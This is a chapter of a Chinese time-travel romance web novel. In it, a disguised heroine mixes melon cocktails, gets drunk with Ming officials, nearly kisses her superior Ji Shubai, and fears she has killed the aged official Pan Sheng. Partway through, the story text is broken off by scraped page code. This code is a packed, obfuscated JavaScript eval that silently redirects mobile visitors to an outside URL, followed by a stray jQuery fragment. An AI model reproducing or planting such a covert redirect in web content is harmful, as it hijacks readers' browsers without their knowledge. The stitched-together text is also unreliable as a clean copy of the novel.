眼看着这张桌上就剩她自己一个人,宋瑾担心自己应付不来,于是打算找个理由开脱。
理由倒也简单,给他们调酒去。
新鲜东西没见过,那少女好奇心又强,知道宋瑾不善玩牌,便做主由她去了。
宋瑾脱了身,走出花厅的时候长舒了一口气。
方子是一早就想好的,用甜瓜汁加冰,再配上酒,雪克杯没有那就不摇了,反正自己在家喝也没那些讲究。
眼下正是食甜瓜的季节,县衙供给潘晟的自然不会少。宋瑾取了瓜,刨了皮,去了瓤,将中心甜软的部分用勺子刮下,单独用纱布过滤出汁水来。
至于剩下偏硬的部分,则用刀切成小块,用石臼捣碎再过滤出汁来。
她带着县衙的下人在厨房捣鼓出不少,又取了冰,这才一起端了回花厅。
季舒白临时有事被人叫走,回来的时候已经过去大半个时辰,他走到花厅外头,就听见里面热热闹闹的一片。
什么“夏云峰,火烧梅,烧出了半江红,苦了野田禾稻半枯焦。”
什么“丑奴儿,遇到了公领孙,牛腰三尺粗,一顿吃下七八碗软蔓青。”
一阵嘻嘻哈哈的声音传来,季舒白在外头听着,听得眉头直拧。乱行令也就罢了,关键是每一次行完他都听见潘晟说“我喝我喝”的声音,似乎怕酒被人抢走了似的。
他加快脚步走了进去,这一看不得了。
潘晟已经半个人趴在桌上,手里还攥着个空杯子。那潘姑娘就在边上坐着,脸上红通通的,眼神带着迷离。
至于宋瑾,在他进来的第一时间就站起来了,好似正常人一般,可仔细一看就发现不对劲,眼睛直愣愣的,一只手还勾着桌沿,只怕一松手就要栽倒了。
“你喝了多少?”
宋瑾只轻轻摇头,并不张口答话,季舒白一下就知道喝多了。
他赶紧招人来把潘晟送回去,潘姑娘则由她自己的下人送走,至于宋瑾,好似身子里长了根棍子,直愣愣地杵在那里,站得笔直。
“可能走动?”
宋瑾还是摇头不说话。
季舒白一看,人喝傻了喝懵了,不禁长叹一口气后在屋里环视一圈,全是男子,只有潘姑娘身边带着女子,可是此刻也已经走了。
他转头瞪了眼直愣愣的宋瑾,弯腰去抱人,可这人还抱不起来,一双腿跟脾气一样,犟的发直。
季舒白敲敲她的膝盖:“放松。”
宋瑾听话地放软了膝盖,结果这一放整个人都放掉了,软趴趴地一下歪在季舒白的肩上,两只手本能地就攀了上去。
季舒白抱起人调整了下姿势,宋瑾也调整了下姿势,这一调整把季舒白给调整的愣住了。
宋瑾胳膊架在季舒白的肩头,两只手臂环绕着脖子,紧紧抱住,一颗脑袋也往脖颈里钻去。
起先还只是额头贴着脖子,后来鼻尖贴了上来,再后来连嘴唇也贴了上来,贴的季舒白整个人都愣住了,连呼吸都忘了。
宋瑾不知道这些,她只知道鼻尖里钻进来一股香气,淡淡的,分辨不清,眼睛也睁不开,只能用鼻子去寻找,结果寻着寻着就寻到季舒白的脖子里去了。
这个男人香香的。
她就这么嗅着香气,窝在脖颈里,一动不动,任季舒白叫她怎么放松,她也没听见,最后季舒白只得硬着头皮抱着人出门去了。
一路上遇见的每一个人都用异样的目光看向季舒白和他怀里的人。
见过抱人的,没见过这么抱人的,就说关系不简单吧。
听说有些人就好这口,你看怀里那男人,那么弱小,跟个女人似的,一看就不单纯。
单纯能带出来嘛?
不用细听,季舒白就能猜的出来那些人会怎么议论他,此刻他身上跟要长针似的,浑身不自在,只得加快脚步往宋瑾的屋舍里去。
宋瑾在怀里被晃的有些清醒起来,终于肯松开手,将脑袋抬起来,季舒白松了口气。
“马上就到了。”
宋瑾呆呆的,看着那一张一合的嘴巴,再看看脸,眼睁睁看着一个鼻子变成两个鼻子,两只眼睛变成四只眼睛。
季舒白的脑袋分了叉。
宋瑾忽然伸手,一把抱住了季舒白的两颗脑袋,用力往中间挤压,誓要将那两颗脑袋合并到一起。
“你干什么?”
宋瑾没答话,一双眼睛又盯上了那一张一合的红唇,她好奇地伸出拇指摩挲了一下。
软软的,滑滑的,凉凉的。
“你别乱动!”
季舒白气的不轻,几乎就要跑起来。
宋瑾的视线离不开那双唇,红红的,不是很厚,唇角尖尖,唇峰明显,像是美工笔勾勒出来似的,实在诱人。
有便宜不占王八蛋。
宋瑾以迅雷不及掩耳之势,迅速往上一凑,眼看着就要吻上了,屁股上却传来一阵剧痛。
季舒白实在恼火,不听劝把自己喝醉也就罢了,抱人回屋也罢了,可她把嘴唇都贴到他的脖子上了,还一路被人看着,眼瞅着就到了屋里,马上就要放到床上了,她又来抱他的脸,还用力挤,挤到最后居然还来吻。
火的他双臂一抖,叫宋瑾在他臂弯里打了个滚,直接滚到床上去了。
宋瑾摔了一下,面朝着墙壁又懵又清醒,心里还在疑惑到底亲着了没有时,背后传来季舒白的骂声。
“你一个女子,怎能做出这等事情来?”
“你......你......”
“等你明日清醒了,我再同你算账!”
宋瑾摸了摸自己的唇,怎么也想不起来亲上了没有,此刻又挨了顿骂,索性扯过被子盖住脑袋装睡去了。
明日的事情明日再说。
再醒来时,已经日上三竿,又过了一日了。
宋瑾连续两日宿醉,头疼还晕,起身后跌跌撞撞出去找水洗漱,结果刚折腾完就遇上一个文吏。
“哟,陆公子,在这呢,季大人说你醒了后即刻去找他。”
宋瑾宁愿还没醒。
“哦,对了,季大人现下在潘大人处,你直接去潘大人那里哈。”
那人说完还上下打量了一眼宋瑾,嘴角带着意味不明的笑意。
宋瑾宿醉是真,但不至于断片,脑子里记得清清楚楚,她昨天差点儿非礼了季舒白。
说是差点儿,是因为她真的记不住亲上了没。
此刻叫自己过去,定是要算账的。
宋瑾叹了口气,人在屋檐下,不得不低头啊,因此垂头丧气地往潘大人那屋舍里去了。
潘大人屋里此刻人不少,除了厅里的,还有些个在卧房里。
宋瑾打眼一瞧,县令和季舒白都在呢。
怎么不给人睡觉呢?
就在宋瑾伸长脖子朝里张望时,季舒白一眼瞥见了她,立刻快步走了出来。
不妙,是要算账的架势。
“我问你,昨日你们喝了多少?”
宋瑾转动她那还不太清晰的脑子:“......挺多的吧。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15180206|155814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“挺多是多少?”
宋瑾皱了皱眉,拼命回想昨日季舒白走后的情景。
那酒挺受欢迎的,潘晟赢了要喝一杯助兴,别人输了要喝一杯作陪,起先还是酒盅,后来嫌弃不过瘾,换成了茶杯,酒壶空了自有人满上,压根就没停过,她根本记不住到底喝了多少。
“不......不记得了。”
季舒白深深叹气。
“不过应当没事,我也没事啊。”
“你多大岁数?潘大人多大岁数?”
宋瑾一听也慌了,脑子想着这一年潘晟该有六十多了吧?
完了,该不会被她的酒给喝死了吧?
眼看着季舒白重新进去,宋瑾也站不住了,跟在后头进了屋,视线穿过众人的肩头,她看见潘晟嘴唇微张,唇色发白,两眼紧闭,任身边人怎么推怎么唤都没有动静。
这下真完了。
宋瑾慌了神,身子发软,一下靠在了衣柜上,脑子不断想着这不对劲啊。
按历史记录,潘晟在张居正死前被召入京,后来虽然没再做官,可还是活了好几年的,一直到七十多岁才作古,怎么今日就折在她手里了呢?
宋瑾想,完了,历史路线被她给改了。
等等!
宋瑾想到一个新的可能。
若是她真把潘晟给喝死了,历史记录也就改了,那是不是可以改掉更多?
比如让李成梁直接干掉成吉思汗两兄弟,防止女真势力扩大。
可叫谁去拿下建州呢?总不能让黑龙江变国外吧。
实在不行就干掉万历那个崽子,掀了老朱那帮光吃不吐还巨能生的后人,她自己登基做女帝。
可上哪里找人手来帮自己呢?
宋瑾的脑子还不清醒,思绪一下从潘晟要死了蹿到了掀翻大明王朝,拿下建州女真,登基女帝,推翻封建制度,直到一阵咳嗽声传来,紧接着一群人叫唤:
“潘大人?潘大人?你醒了?”
女帝梦断。
“嗯——”
潘晟那双疲倦的眼睛,硬是被几人给吵的睁开了。
“都在呢......”
“都在呢,您可吓死学生了。”
“喝......喝多了。”
潘晟醒了,众人松了口气,宋瑾伸向万历的屠刀也收了回来,季舒白的眼神却看了过来。
“跟我出来。”
宋瑾垂头搭脑地跟出去了。
季舒白在院中停下脚步。
“往后做事能不能有些分寸?”
“哦。”态度极好,一丝不辩。
“你昨日喝了多少?”
“一点点。”
“一点点?”
宋瑾咬牙点头,季舒白简直想笑:“那就是说你记得昨日发生的事情,对么?”
宋瑾立马摇头:“不记得了。”
季舒白一双唇几乎抿成一道缝:“你倒撇的干净。”
咬牙切齿的。
“往后出门在外,不许你再喝酒。”
宋瑾忙不迭点头。
不知道季舒白是真信了,还是眼下没空去计较,总之宋瑾逃过一劫,直到青杉过来找她。
“你又招惹我家大人了?”
宋瑾抱着甜瓜啃,根本不敢搭腔。
“你怎么总惹我家大人?”
宋瑾也挺愧疚的:“我喝多了,不是故意的。”
“那你去哄哄呀,你是不知道我这两日挨了多少顿训斥了。”